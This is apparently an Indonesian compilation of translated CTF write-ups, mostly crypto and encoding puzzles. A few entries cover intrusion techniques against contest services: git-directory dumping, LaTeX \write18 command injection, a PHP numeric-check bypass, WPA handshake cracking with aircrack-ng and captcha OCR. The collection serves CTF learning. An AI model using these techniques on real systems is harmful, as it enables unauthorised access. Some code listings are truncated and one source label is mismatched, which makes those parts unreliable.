Untuk menyelesaikan problem ini dibutuhkan waktu yang cukup lama dan agak sedikit sulit. Langkah-langkah untuk cracking:

1. Pertama extact Misc75.zip

2. Kemudian obeservasi 40 file yang didapat. Tiap file memiliki ukuran 2 bytes. Nama file ditulis dengan string yang telah disandikan menggunakan md5sums.

3. Setelah itu observasi karakter md5sums dan membandingkan nama file yang diberikan 1. Kemudian mengobservasi untuk angka (beberapa nama file sama dengan angka md5sum) 2. Percobaan observasi dilakukan dengan menggunakan angka 0-39.

3. Hitung angka tersebut dengan menggunakan md5sums 4. Lakukan pengecekan pada tiap nama file

5. Dan pada akhirnya didapatkan urutan dari nama file

(33)

29

19ca14e7ea6328a42e0eb13d585e4c22 – 35 a5bfc9e07964f8dddeb95fc584cd965d – 35 a5771bce93e200c36f7cd9dfd0e5deaa – 62 d67d8ab4f4c10bf22aa353e27879133c – 7d

6. ambil 2 bytes list data yang telah terurut dari 0-39

(0­9) ­ 50 77 6e 69 75 6d 7b 30 32 63 (10­19) – 65 66 37 65 65 62 37 35 66 64 (20­29) – 64 39 64 66 37 63 36 63 30 64 (30­39) – 63 31 65 33 65 32 35 35 62 7d

7. Data tersebut adalah hexadecimal sehingga harus dilakukan konversi agar menjadi string. Hex:

50776e69756d7b30326365663765656237356664643964663763366330646331653365323535 627d

String:

Pwnium{02cef7eeb75fdd9df7c6c0dc1e3e255b}

8. Selesai

(34)

30

Pwnium CTF 2014 - ROT

source: http://krebsco.de/writeups/rot.html

23

Setelah diketahui data,s mulai dilakukan ekstraksi gambar menjadi file.

import telnetlib import base64

tn = telnetlib.Telnet("41.231.53.40", 9090) foo = tn.read_until('\n', 2)

foo = foo.strip()

foo = base64.b64decode(foo) with open('foo.png', 'w') as f: f.write(foo)

Setelah proses ekstraksi kemudian didapatkan gambar berikut

Setelah melihat gambar dan petunjuk exco. Maka disimpulkan bahwa gambar harus dipotong secara vertikal

convert foo.png ­crop 100x200+0+0 left.png convert foo.png ­crop 100x200+100+0 right.png

(35)

31

convert left.png ­rotate ­90 left_rot.png convert right.png ­rotate 90 right_rot.png

Lakukan merge 2 gambar di atas, kemudian dari proses itu akan ditemukan kode rahasia.

composite left_rot.png right_rot.png ­compose difference difference.png

Seperti yang diketahui, cracking captcha secara manual sangatlah tidak mungkin. Manusia membutuhkan waktu yang lama sedangkan untuk cracking captha membutuhkan waktu singkat. Untuk itu diperlukan bantuan OCR untuk crack kode dan mengirimkannya kembali ke server. Dengan menggunakan PyTesser yaitu library untuk mengekstrak tulisan dari gambar

from PIL import Image

img = Image.open("difference.png") img = img.convert("RGB")

from pytesser import *

passwd = image_to_string(img).replace(" ","").strip()+"\n"

Setelah beberapa kali percobaan, text recognition tidak dapat mengambil text dari gambar sehingga diperlukan pre-processing gambar. Membuat gambar background (biru dan magenta) menjadi putih dan membuat warna tulisan hitam.

Dengan menggunakan PIL dan load gambar menjadi two dimensional array. Berikut ini adalah kode yang digunakan.

pixdata = img.load()

# Clean the background noise, if color != white, then set to black. for y in xrange(img.size[1]):

for x in xrange(img.size[0]):

tn = telnetlib.Telnet("41.231.53.40", 9090) foo = tn.read_until('\n', 2)

foo = foo.strip()

foo = base64.b64decode(foo) with open('foo.png', 'w') as f: f.write(foo)

os.system('convert foo.png ­crop 100x200+0+0 left.png') os.system('convert foo.png ­crop 100x200+100+0 right.png') os.system('convert left.png ­rotate ­90 left_rot.png') os.system('convert right.png ­rotate 90 right_rot.png')

os.system('composite left_rot.png right_rot.png ­compose difference difference.png')

(36)

32

import sys

img = Image.open("difference.png") img = img.convert("RGBA")

pixdata = img.load()

for y in xrange(img.size[1]): for x in xrange(img.size[0]):

if pixdata[x, y] == (0, 0, 255, 255) or pixdata[x, y] == (255, 0, 255, 255): pixdata[x, y] = (0, 0, 0, 255)

else:

pixdata[x,y] = (255,255,255,255) img = img.convert("RGB")

from pytesser import *

passwd = image_to_string(img).replace(" ","").strip()+"\n"

print(passwd) tn.write(passwd) print(tn.read_all())

(37)

33

Pwnium CTF 2014 - usb so fun

source:

https://crazybulletctfwriteups.wordpress.com/2014/07/07/pwnium-ctf-2014-usb-so-fun/

24

File yang diberikan adalah network packet captured file (pcapng). Setelah proses download, hal pertama yang dilakukan adalah proses analisa tipe dan file. Kemudian dilakukan command sederhana pada pcap file.

Langkah untuk crack pada OS Linux 1. Lihat properti file

$ file for1.pcap

for1.pcap: pcap­ng capture file – version 1.0

2. Tricky commands

$ strings for1.pcap | grep ‘Pwnium{‘ Pwnium{408158c115a82175de37e8b3299d1f93}

3. Selesai

(38)

34

Pwnium CTF 2014 - Look closer

source

https://crazybulletctfwriteups.wordpress.com/2014/07/07/pwnium-ctf-2014-look-closer/

25

Problem ini sangat mudah Langkah untuk crack

1. Analisis file

$ file Misc1.rar

Misc1.rar: JPEG image data, JFIF standard 1.01, comment: “CREATOR: gd­jpeg v1.0 (using IJG JPEG v80), quality = 100”

2. Ubah nama Misc.rar menjadi Misc1.jpg

3. Buka pada image-viewer, kemudian akan ditampilkan sebuah tulisan berukuran kecil. Cukup dengan melakukan zoom pada image dan akhirnya flag berhasil ditemukan

(39)

35

Pwnium CTF 2014 - Break me

source:

https://crazybulletctfwriteups.wordpress.com/2014/07/07/pwnium-ctf-2014-break-me/

26

Cipher text

QlpoOTFBWSZTWTxSmOAAAAsJAF/gOwAgADEAAAiZMNT0JbKzhCQcytA2gNbvXgSvxdyRThQkDxSmOA=

Langkah untuk crack

1. Cipher text menggunakan base64, hal ini diketahui dari panjang total dibagi dengan 4 dan char terakhir adalah =.

2. Jangan menggunakan dekoder base64 online. Tool ini tidak memberikan text unknown atau kode hexa decimal

3. Didapatkan base64 decode

‘BZh91AY&SY<R\x98\xe0\x00\x00\x0b\t\x00_\xe0;\x00

\x001\x00\x00\x08\x990\xd4\xf4%\xb2\xb3\x84$\x1c\xc9\x0b@\xda\x03[\xbdx\x12\ xbf\x17rE8P\x90<R\x98\xe0’

4. Cari sesuatu yang berhubungan dengan output yang terkait

5. BZh91AY&SY terkait dengan kompresi bz2. Sehingga dilakukan kompresi bz2 pada module dengan menggunakan bahasa pemrograman Python.

>>> import bz2

>>> b64d = ‘BZh91AY&SY<R\x98\xe0\x00\x00\x0b\t\x00_\xe0;\x00

\x001\x00\x00\x08\x990\xd4\xf4%\xb2\xb3\x84$\x1c\xc9\x0b@\xda\x03[\xbdx\x12\xbf\x1 7rE8P\x90<R\x98\xe0’

>>> d = bz2.decompress(b64d) >>> print repr(d)

‘9afa828748387b6ac0a393c00e542079’ >>>

6. Selesai

(40)

36

Pwnium CTF 2014 - Alter code

source:

https://crazybulletctfwriteups.wordpress.com/2014/07/08/pwnium-ctf-2014-alter-code/

27

Analisa file main.c. Output yang dihasilkan memberikan sesuatu yang berbeda dan output tersebut menggantikan sebuah kode rahasia pada program main.c.

Given text: B1lR]c5r]Qsqfg

Langkah untuk solve problem ini 1. Fokus pada kode rahasia

2. Menggunakan tool basic kriptografi seperti Mono Alphabetic cipher 3. Sehingga diputuskan untuk menggunakan metode enkripsi ROT-x (1-25) 4. Ada satu hasil dekripsi string yang memiliki makna yaitu sushi

5. Admin memberikan hint bahwa mata-mata berasal dari jepang

ROT­0: B1lR]c5r]Qsqfg ROT­24: Z5jP]a9p]Oqode ROT­25: A6kQ]b0q]Prpef

6. Konsentrasi pada ROT-2: D3nT]e7t]Sushi

(41)

37

EKOPARTY CTF 2015 - XOR Crypter

source:

http://capturetheswag.blogspot.co.id/2015/10/ekoparty-2015-xor-crypter-crypto-200.html

28

File zip berisi script Python bernama “shiftcrypt.py”.

Namun source code ini terlihat ganjil. Untuk mendekripsikan encrypted text seharusnya melakukan operasi yang sama seperti cipher text – encyrpted text.

result = []

blocks = struct.unpack("I" * (len(data) / 4), data)

print repr(blocks)

for block in blocks:

result += [block ^ block >> 16]

Mencoba mengenkripsi string yang diberikan

CjBPewYGc2gdD3RpMRNfdDcQX3UGGmhpBxZhYhFlfQA=

Dilakukan proses enkripsi lagi

root@mankrik:~/ekoparty/crypto200# echo

CjBPewYGc2gdD3RpMRNfdDcQX3UGGmhpBxZhYhFlfQA= | base64 ­d > c; ./shiftcrypt.py "`cat c`" | tail ­1 | base64 ­d

EKO{unshifting_the_unshiftable}

(42)

38

Internetwache CTF 2016 - Quick Run

source:

http://ctfwriteups.blogspot.co.id/2016/02/internetwache-ctf-2016-quick-run.html

29

Question

Solution

Link file di dalam zip https://app.box.com/s/8aoepmqzfetr2syj9usq433kptaz8nid

Mencoba base64 karena padding “==” pada text dan ditemukan QR code pada tiap blok text

Decoding QR code tersebut dan akhirnya flag ditemukan

Flag is IW{QR_C0DES_RUL3}

(43)

39

Internetwache CTF 2016 - The hidden message

source:

http://ctfwriteups.blogspot.co.id/2016/02/internetwache-ctf-2016-hidden-message.html

30

Question

Solution

File README.txt di dalam file zip berisi

0000000 126 062 126 163 142 103 102 153 142 062 065 154 111 121 157 113 0000020 122 155 170 150 132 172 157 147 123 126 144 067 124 152 102 146 0000040 115 107 065 154 130 062 116 150 142 154 071 172 144 104 102 167 0000060 130 063 153 167 144 130 060 113 012

0000071

Melihat dari angka-angka tersebut, sangat jelas bahwa angka tersebut merupakan bilangan oktal. Dengan mengkonversi bilangan oktal menjadi ASCII akan memberikan hasil:

V2VsbCBkb25lIQoKRmxhZzogSVd7TjBfMG5lX2Nhbl9zdDBwX3kwdX0K

(44)

40

Internetwache CTF 2016 - Crypto-pirat

source:

http://ctfwriteups.blogspot.co.id/2016/02/internetwache-ctf-2016-crypto-pirat.html

31

Question

Attachment crypto50.zip Solution

Attachment memiliki file README.txt yang berisi

♆♀♇♀♆♇♇♀♆⊕♇♀♇♀♆♇♆♇♆⊕♆♇♆♇♇ ♀♆♇♆⊕♆♇♆♇♆♇♆♇♆⊕♆♇♇♀♇ ♀♆⊕♇♀ ♆⊕♇♀♆⊕♆♇♆♇♇♀♆♇♆

⊕♇♀♇♀ ♆⊕♆♇♆♇♆♇♇♀ ♆⊕♆♇♆♇♆♇♆⊕♆♇♆♇♆♇♆⊕♇♀ ♆♇♇♀♆♇♆⊕♇♀ ♆♇♆♇♇ ♀♆⊕♆♇♆♇♇♀♇ ♀♇♀♆⊕

♆♇♆♇♇ ♀♆⊕♇♀ ♇♀♆♇♆⊕♆♇♇♀ ♆⊕♇♀♆♇♇♀♇♀ ♆⊕♆♇♆♇♆♇♆♇♆⊕♇♀♆♇♇♀♆♇♆⊕♇♀♆♇♆♇♇♀ ♆⊕♆♇♆

♇♇♀♇♀ ♇♀♆⊕♇♀♆♇♆♇♆⊕♇♀♇ ♀♇♀♆⊕♇♀♇♀♆♇♆♇♆⊕♆♇♆♇♆♇♆⊕♆♇♇♀♇♀♆⊕♆♇♆♇♆♇♆♇♇ ♀♆⊕♇♀

♇♀♆♇♆♇♆⊕♆♇♆♇♆♇♇ ♀♇♀♆⊕♆♇♆♇♆♇♆⊕♆♇♇♀♆♇♆♇♆⊕♆♇♆♇♆♇♆♇♆♇♆⊕♆♇♇♀♇ ♀♆⊕♇♀ ♇♀♆♇♆

⊕♆♇♆⊕♆♇♆♇♇ ♀♇♀♇♀ ♆⊕♇♀♆♇♇♀♆♇♆⊕♇♀♇ ♀♆♇♆♇♆♇♆⊕♇ ♀♆♇♆⊕♇♀♇♀♆♇♆♇♆⊕♆♇♆♇♆♇♆⊕♇♀

♆♇♆♇♇♀♆⊕♆♇♆⊕♇♀♇♀♇♀♆⊕♆♇♇♀♆♇♆⊕♆♇♇♀♇♀♇♀♆⊕♆♇♇♀♇♀♆♇♆⊕♆♇♆♇♇♀♆⊕♇♀♆♇♆♇♆♇♇

♀♆⊕♇♀ ♆♇♆♇♆♇♇♀♆⊕♇♀♆♇♆♇♆♇♇♀ ♆⊕♇♀♆♇♆♇♆♇♇♀♆⊕♇ ♀♆♇♆♇♆♇♇♀♆⊕♇♀♆♇♆♇♆♇♇ ♀

Hint mengatakan bahwa ada sebuah tabel pada website yang populer. Merujuk pada link berikut

http://solarsystem.nasa.gov/galleries/solar-system-symbols Simbol-simbol diatas disubstitusikan berdasarkan nomor planet. Sehingga didapatkan barisan angka seperti berikut ini

82928 99283 92928 98983 89899 28983 89898 98983 89929 28392 83928 38989 92898 39292 83898 98992 83898 98983 89898 98392 89928 98392 89899 28389 89929 29283 89899 28392 92898 38992 83928 99292 83898 98989 83928 99289 83928 98992 83898 99292 92839 28989 83929 29283 92928 98983 89898 98389 92928 38989 89899 28392 92898 98389 89899 29283 89898 98389 92898 98389 89898 98983 89929 28392 92898 38983 89899 29292 83928 99289 83929 28989 89839 28983 92928 98983 89898 98392 89899 28389 83929 29283 89928 98389 92929 28389 92928 98389 89928 39289 89899 28392 89898 99283 92898 98992 83928 98989 92839 28989 89928 39289 89899 2

Pada deskripsi ditulis “Did the East German Secret Police see a Pirat on the sky?” sehingga dicobalah untuk dilakuakn pencarian menggunakan Google. Hasil pencarian merujuk pada Stasi

Stasi memiliki table cipher vernam bernama TAPIR

(45)

41

­.­ ­­.. ..­. .... .­­ ­ ­ ..­. ­­ ...­ ... ... ­.­. ­..­ ..­­­ ..­ ­­. .­ ­.­ ­ .... ­.­. ­..­ ..­­­ ­.. ­­­ ­­.. ... .­­ ....­ ­­.. ...­­ ... .­.. ... .­­ ­­. . ..­­­ ­.­. ­­... ­. ­­.. ... ­..­ . ­­­ .­. .­­­ .­­. ..­ ­...­ ­...­ ­...­ ­...­ ­...­ ­...­

Yang didalam alfabet berbunyi kzfhwttfmvsscx2ugayhcx2dozsw4z3sl5wge2c7nzsxeorjpu====== Lakukan base32

VJ{Neee!_T00q_Cvengr_lbh_ner:)}

ROT-13

IW{Arrr!_G00d_Pirate_you_are:)}

(46)

42

Internetwache 2016 - Replace with grace

source:

http://ctfwriteups.blogspot.co.id/2016/02/internetwache-ctf-2016-replace-with.html

32

Question

Service https://replace-with-grace.ctf.internetwache.org Solution

Halaman web memiliki 3 parameter yaitu: search, replace dan content Contohnya

search : /cow/ replace : cat

content : cows are cute output : cats are cute.

(47)
(48)

44

Internetwache CTF 2016 - oldskoolblog

source:

http://ctfwriteups.blogspot.co.id/2016/02/internetwache-ctf-2016-0ldsk00lblog.html

33

Question

Service https://0ldsk00lblog.ctf.internetwache.org/

Di dalam blog menampilkan bahwa “All people are talking about a tool called ‘Git’, I think I might give this a try“. Statement ini menimbulkan kecurigaan sehingga dicoba untuk mengecek apa yang ada di dalam folder melalui url https://0ldsk00lblog.ctf.internetwache.org/.git/

Namun browser menampilkan “403 Forbidden” yang berarti direktori tersebut ada namun tidak dapat diakses. Setelah itu mempelajari struktur direktori git.

Dengan menggunakan sebuah tool yang sangat berguna yaitu dcvr-ripper yang dapat membantu menemukan commits dan mengecek apakah direktory pada git dapat diakses seperti log, config, objek dan lain sebagainya.

Setelah menggunakan tool tersebut, berikut ini adalah list objek yang didapat

objects/14/d58c53d0e70c92a3a0a5d22c6a1c06c4a2d296

Membaca file objek

File dalam list diperiksa satu persatu

Setelah itu mendekompres tiap objek menggunakan python dan zlib, dan akhirnya objek terakhir pada list terdapat flag objects/55/08adb31bf48ae5fe437bdeba60f83982356934

(49)

45

Internetwache CTF 2016 - Texmaker

source:

http://ctfwriteups.blogspot.co.id/2016/02/internetwache-ctf-2016-texmaker.html

34

Question

Service https://texmaker.ctf.internetwache.org/ Solution

Halaman website akan memberikan program a late dan membuat sebuah pdf

Guide untuk melakukan hack pada latex http://cseweb.ucsd.edu/~hovav/dist/texhack.pdf

Pendekatan pertama yang dilakukan adalah menggunakan \input{“ls”} namun website merespon dengan “BLACKLISTED commands cannot be used”

Pendekatan kedua dengan menggunakan \write18

(50)
(51)

47

Nuit de Hack Quals 2014 - carbonara

source:

http://ctfwriteups.blogspot.co.id/2014/04/nuit-de-hack-quals-2014-carbonara.html

35

Question

Cipher text

%96 7=28 7@C E9:D 492= :D iQx>A6C2E@C xF=:FD r26D2C s:GFDQ]

Solusi

Pendekatan pertama, subsititusi dengan melihat pada website asciitable.com : menjadi i

D menjadi s

(52)

48

Nuit de Hack Quals 2014 - Here kitty kitty

source:

http://ctfwriteups.blogspot.co.id/2014/04/nuit-de-hack-quals-2014-here-kitty-kitty.html

36

Question

Mirror link http://1drv.ms/1jjplOH

Hal yang pertama dilakukan adalah membuka file dengan menggunakan bantuan program audacity. Waveform yang didapat sangat aneh sehingga menimbulkan kecurigaan. Dengan melakukan zoom in pada gelombang maka didapatkan sandi morse.

Berikut ini adalah sandi morse yang didapat

... ­... ­.­. ­­­­. ..­­­ ... ­.... ....­ ­­­­. ­.­. ­... ­­­­­ .­­­­ ­­­.. ­­­.. ..­. ... ..­­­ . ­.... .­­­­ ­­... ­.. ­­... ­­­­­ ­­­­. ..­­­ ­­­­. .­­ ­­ ­­­­. .­­­­ ­.­.

Dekoding sandi morse yang didapat sehingga menghasilkan md5 hash

5BC925649CB0188F52E617D70929191C

(53)

49

Olympic CTF 2014 - Binathlon 10 – Just no one

source:

http://ctfwriteups.blogspot.co.id/2014/02/olympic-ctf-2014-binathlon-10-just-no.html

37

Problem ini adalah problem binary

Challenge file https://db.tt/5I7qkEPv

Problem dikategorikan sebagai problem binary namun problem ini mengajarkan kita bagaimana pentingnya untuk membaca license agreement. File yang didapat adalah delphi coded password protected. Namun ternyata tidak sulit untuk menemukannya dan berikut ini adalah jawabannya

(54)

50

Olympic CTF 2014 - Out there

source:

http://ctfwriteups.blogspot.co.id/2014/02/olympic-ctf2014-curling-10-out-there.html

38

Problem ini berdasarkan ipv6 sehingga perlu dilakukan konfigurasi untuk mengakses alamat ipv6. Untuk menyelesaikan problem ini digunakanlah untuk https://ipv6.he.net/ tunelling

Question

Flag is out there http://[2a02:6b8:0:141f:fea9:d5ff:fed5:XX01]/

Lakukan pencarian dengan menggunakan google kemudian didapatkan hasil bahwa alamat yang diakeses seharusnya adalha http://[2a02:6b8:0:141f:fea9:d5ff:fed5:6901] XX adalah 69.

Lakukan inspeksi souce code pada website kemudian dapatakan flag

(55)

51

Olympic CTF 2014 – as seen on defcon

source:

http://ctfwriteups.blogspot.co.id/2014/02/olympic-ctf-2014-nopsleigh-10-as-seen.html

39

Question

EBFE is to x86 as _______ is to ARM64 Solution

Untuk menyelesaikan problem ini, yang harus dilakukan adalah mencari upcode pada unconditional branch pada infinite loop di ARM64 sebagai EBFE di x86 yang berarti unconditional jump. Hint yang didapat adalah pertanyaan itu sendiri. Tugas yang harus dilakukan adalah menemukan opcode. Lakukan pencarian pada Google kemudian didapatkan 0x14000000 sebagai opcode. Jika ditemukan EAFFFFFE maka itu adalah 32 bit.

(56)

52

Olympic CTF 2014 - crypting

source:

http://ctfwriteups.blogspot.co.id/2014/02/olympic-ctf-2014-figure-crypting-10.html

40

Question

43wdxz 4edcvgt5 65rdcvb 6tfcgh8uhb 9ijn

Solution

Untuk menyelesaikan problem ini dengan mudah, digunakanlah gambar bantuan

(57)

53

(58)

54

BackdoorCTF 2014 – wifi password

source:

http://singularityctf.blogspot.co.id/2014/03/backdoorctf-2014-writeup-misc-250-1-eng.html

41

Problem

Satyam memiliki keahlian untuk melihat tiga karakter terakhir dari password temannya yang bernama Pravj yaitu 007. Sebagai hacker, dia mengcapture paket yang dikirim melalui router WiFi milik Pravj. Satyam dan Pravj adalah teman yang sangat dekat, dia mengetahui seberapa cintanya Pravj dengan sistem angka hexadesimal. Bantu Satyam untuk meretas password WiFi (Satyam tidak tahu bahwa password menggunakan pergeseran kunci). Flag menggunakan md5(wifi_password)

Solution

Di dalam problem juga diberikan file berekstensi cap dnegan memotong jalur wifi dan petunjuk dari password dan jangkauan wifi adalah angka hexa yang diakhiri dengan 007. Diketahui bahwa pergeseran kunci tidak digunakan jadi dapat dikatakan bahwa semua huruf menggunakan huruf kecil. Berikut ini program yang digunakan untuk menggenerate file dengan string dalam format hex007, dimana hex adalah angka-hex 1 sampai 5.

#include <iostream>

(59)

55

Aircrack­ngnetwork.cap –w dict.txt

Sehingga kunci berhasil ditemukan

(60)

56

ASIS CTF Finals 2014 - caplow

source:

https://beagleharrier.wordpress.com/2014/10/13/asis-ctf-finals-2014caplow-writeup/

42

Diberikan string

qvnju181mjziote0zge4mdk0odi4odfmnmnmnmi5zjm2yzy3mq==

Diakhiri dengan “==” sehingga dapat ditebak bahwa string ini menggunakan penyandia base64. Setelah memecahkan kode menggunakan base64, flag tidak berhasil didapatkan namun mendapatkan karakter aneh.

Panjang string adalah 25 karakter dengan perkalian 4, sehingga harus menggunakan penyandian base64. Note: tiap karakter adalah huruf kecil. Setelah itu dicoba kembali memecahkan base64 “QVNJ” sehingga mendapatkan hasil “ASI”

Seperti yang kita tahu bahwa base64 ditambahkan 3 karakter menjadi 4 karakter, sehingga untuk mendapatkan flag dicobalah untuk memecahkan kode setiap 4 karakter setiap waktunya untuk mengetahui apakah salah satunya seharusnya huruf besar atau tidak.

Selanjutnya akan didapatkan string sebagai berikut

QVNJU181MjZiOTE0ZGE4MDk0ODI4ODFmNmNmNmI5ZjM2YzY3MQ==

(61)

57

ASIS CTF 2014 Quals - Plough

source: http://blogs.univ-poitiers.fr/e-laize/2014/05/11/asis-2014-plough/

43

URL: http://asis-ctf.ir/challenges/

Deskripsi

Berikut ini adalah kode yang digunakan untuk enkripsi dan file yang telah dienkripsi https://asis-ctf.ir/tasks/crypto/crypto_250_bf16a61aa8117be9c994f171023d37ff

Plough.cpp adalah file atau program yang digunakan untuk mengenkripsi file yang ditulis dengan menggunakan bahasa pemrograman C++, berikut ini adalah source codenya:

#include<iostream> #include<stdio.h> #include<stdlib.h> #include<string.h> using namespace std;

//­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­

class1::class1(char FileName[20]) {

if(!(file = fopen(FileName, "wb"))) {

cout << "\nError: cant crate file!";

exit(1);

(62)

58

class2::class2(char FileName[20]) {

if(!(file = fopen(FileName, "rb"))) {

cout << "\nError: cant read file!";

exit(1);

(63)

59

char* zip(char *inFileName, char *outFileName);

//­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­

int main(int argc,char*argv[]) {

if(argc != 3)

cout << "usage:\tplough inputFilePath outputFilePath"; else

cout << zip(argv[1], argv[2]); return 0;

}

//­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­

char* zip(char *inFileName, char *outFileName) {

class2 IBFile(inFileName);

(64)

60 return (char*)"End\n"; }

Analisis algoritma

Di file atau program terdapat dua kelas 1. Kelas pertama mengenai alur keluaran

a. Constructor dan destructor: menangani, membuka dan menutip file keluaran b. w(char b): set (b=1) / unset (b=0) bit saat ini adalah byte keluaran saat ini c. wn(int n, char ch): penyandian nilai ch menggunakan bits ke n

2. Kelas kedua mengenai alur masukan

a. Constructor dan destructor: menangani membuka file kelauran b. r(): mengembaliksn nilai (0 atau 1) dari nilai dari file input

c. rn(int n): mengembalikan nilai campuran dari bits ke n dimulai dari nilai bit dari byte input

d. end(): memgembalikan nilai akhiran dari status file input Salah satu fungsi penyandian zip(char *inFileName, char *outFileName)

a. r adalah nilai bit sekarang dari inputan

b. shift digunakan untuk mengalihkan penulisan dari 3 bits dan 2 bits c. counter adalah jarak antara nilai bit dan nilai selanjutnya

Skema penyandian terbalik

(65)

61 Implementasi lebih mudah dapat dilihat pada kombinasi decode menggunakan matrik berikut ini

Jika hasilnya berakhir dengan nilai 1 maka counter = 0 jika tidak maka counter = 1 Decode dengan Python

Bahasa pemrograman Python tidak diperuntukkan untuk mendecode file yang sangat besar, namun lebih mudah untuk melihat bagaimana jalannya sebuah program.

f = open('encrypted', 'rb') iSTR = f.read()

iBSTR = ''.join(['{:08b}'.format(ord(c)) for c in iSTR]) f.close()

oSTR = ''.join([chr(int(oBSTR[i:i+8],2)) for i in range(0, len(oBSTR), 8)]) f = open('plain', 'wb')

f.write(oSTR) f.close()

Setelah didekripsi didaptkan hasil dengan format gambar PNG

(66)

62

Sharif University CTF Quals 2014 – Decrypt the message!

source: https://ctfcrew.org/writeup/74

44

Problem

Dekripsi pesan! Berikut ini adalah isi dari encrypted.txt

The life that I have Is yours and yours and yours. In the long green grass

Will be yours and yours and yours.

decrypted message: emzcf sebt yuwi ytrr ortl rbon aluo konf ihye cyog rowh prhj feom ihos perp twnb tpak heoc yaui usoa irtd tnlu ntke onds goym hmpq

Solution

Didapatkan pesan rahasia dan puisi. Untuk mendapatkan flag di dalam puisi tersebut maka dilakukan pencarian kata yang membentuk sebuah kunci. Grup pertama dari beberapa huruf pesan rahasia adalah “amzcf”. Itu berarti 5, 13, 26, 3 dan 6 telah diguanakan. Kata-katanya adalah

“have life life that is” namun dalam kalimat tersebut hanya memiliki 18 huruf, sedangkan yang dibutuhkan adalah 25 huruf (karena harus ada 4 huruf tiap bloknya. Ini mengindikasikan bahwa pesan asli telah dibagi menjadi 4 blok dengan panjang 25, sehingga kuncinya mempunyai panjang sama 25). Dilakukan pengecekan kata menggunakan modulus:

ke­5 have yours my ke­13 life shall be ke­26 life pause ke­3 that have peace ke­6 is and years

Maksimum panjang kata adalah 5 sehingga membutuhkan 5 huruf sebagai kunci, hanya ada satu cara yaitu memilih kata “yours shall pause peace years”.

passphrase = "yoursshallpausepeaceyears" alph = string.ascii_lowercase

count = 1

passkey = [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0] for a in alph:

(67)

63 Dari pencarian kunci menggunakan program diatas dihasilkan kunci [24, 13, 22, 16, 18, 19, 10, 1, 11, 12, 14, 2, 23, 20, 6, 15, 7, 3, 5, 8, 25, 9, 4, 17, 21]

Langkah selanjutnya adalah melakukan dekripsi, berikut ini adalah source codenya

encrypted = ["sebt", "yuwi", "ytrr", "ortl", "rbon", "aluo", "konf", "ihye", "cyog", "rowh", "prhj", "feom", "ihos", "perp", "twnb", "tpak", "heoc", "yaui", "usoa", "irtd", "tnlu", "ntke", "onds", "goym", "hmpq"]

result =""

for i in xrange(4):

for j in xrange(len(passkey)):

test = j + 1

for k in xrange(len(passkey)):

if test == passkey[k]:

result = result + encrypted[k][i:i+1]

print "Decrypted message is " + result

Menghasilkan sebuah string sebagai berikut

ifyouthinkcryptographyistheanswertoyourproblemthenyoudonotknowwhatyourproblemis abcdefghijklmnopqrstu

Pada akhir kata terdapat alphabet yang urut (lapisan), sehingga jawaban atau flag

(68)

64

Sharif University CTF Quals 2014 – AES Broken

source: https://ctfcrew.org/writeup/75

45

Dalam problem ini diberikan file yang seidikit lebih panjang yang sepertinya adalah ciphertext yaitu hasil dari transformasi metode enkripsi AES dengan beberapa macam cara. Setelah melihat menggunakan Sublime, tidak ada yang salah pada file tersebut. Sublime akan hang setelah mencoba mencari keseluruhan file. Membuat file menjadi biner dan membukanya dengan beberapa aplikasi hex.

Sekarang terlihat lebih mudah untuk melihat ciphertext. Dapat terlihat pengulangan bloknya. Untuk metode AES yang normal dalam mode ecb tidaklah aneh. Sekarang cari berapa banyak perulangan ciphertext.

Dari hasil yang ditunjukkan, terdapat sesuatu yang aneh. Apakah mengenkrip satu karakter plaintext per blok? Untuk mempermudah perhitungan berapa banyak blok ciphertext yang berbeda dalam file digunakanlah source code berikut ini:

#!/usr/bin/python from sets import Set import operator

with open('ciphertext','r') as f: output = f.read()

uniques=dict([])

for i in xrange(len(output)/32): word=output[32*i:32*i+32] if uniques.has_key(word):

Didapatkan 27 blok, pasti terdapat 26 karakter alfabet dengan spasi. Rubah kode untuk mengganti blok tiap karakter menjadi seperti ini

(69)

65

output=output.replace(block,c) print output

Berikut ini adalah output yang daitampilkan menggunaka crypto tool

Setelah itu memperbaiki beberapa permutasi tiap alfabet sehingga didapatkan flag

(70)

66

DEF CON CTF Qualifier 2013 - Symphony

source: https://dook.biz/2015/03/boston-key-party-ctf-symphony-writeup/

46

Problem adalah

Ketika link diklik maka akan ditampilkan halaman web yang memiliki password

Jika klik title dari level 2 maka akan membawa anda ke direktori html/php, kode yang berjalan pada background. Bagian inti adalah kode php yaitu:

<?php

require 'flag.php';

if (isset($_GET['password'])) {

if (is_numeric($_GET['password'])){ if (strlen($_GET['password']) < 4){ if ($_GET['password'] > 999) die('Flag: '.$flag); else

print '<p class="alert">Too little</p>'; } else

print '<p class="alert">Too long</p>'; } else

print '<p class="alert">Password is not numeric</p>'; }

?>

Berikut ini adalah langkah untuk memecahkan kode phpnya: a. Pertama lakukan pengecekan apakah field password telah terisi

b. Dengan menggunakan fungsi php is_numeric, akan mengecek jika suatu nilai yang diberikan pada field password bernilai satu.

c. Selanjutnya cek jika panjang nilai yang dimasukkan kurang dari 4 karakter d. Lalu cek apakah nilai yang dimasukkan lebih besar dari 999

(71)

67 3E8 adalah angka dimana lebihh besar dari 999 dan kurang dari 4 karakter. Lalu masukkan ke halaman website sebagai password.

Kemudian klik query submit

(72)

68

PlaidCTF 2015 – strength

source:

https://github.com/smokeleeteveryday/CTF_WRITEUPS/tree/master/2015/PCTF/crypto/strength

47

Problem terdiri dari file yang berisi koleksi dari record

{N : e : c}

{0xa5f7f8aaa82921f70aad9ece4eb77b62112f51ac2be75910b3137a28d22d7ef3be3d734dabb9 d853221f1a17b1afb956a50236a7e858569cdfec3edf350e1f88ad13c1efdd1e98b151ce2a207e5 d8b6ab31c2b66e6114b1d5384c5fa0aad92cc079965d4127339847477877d0a057335e2a761562d 2d56f1bebb21374b729743L : 0x1614984a0df :

0x7ded5789929000e4d7799f910fdbe615824d04b055336de784e88ba2d119f0c708c3b21e9d551 2d56f1bebb21374b729743L : 0x15ef25e10f54a3 :

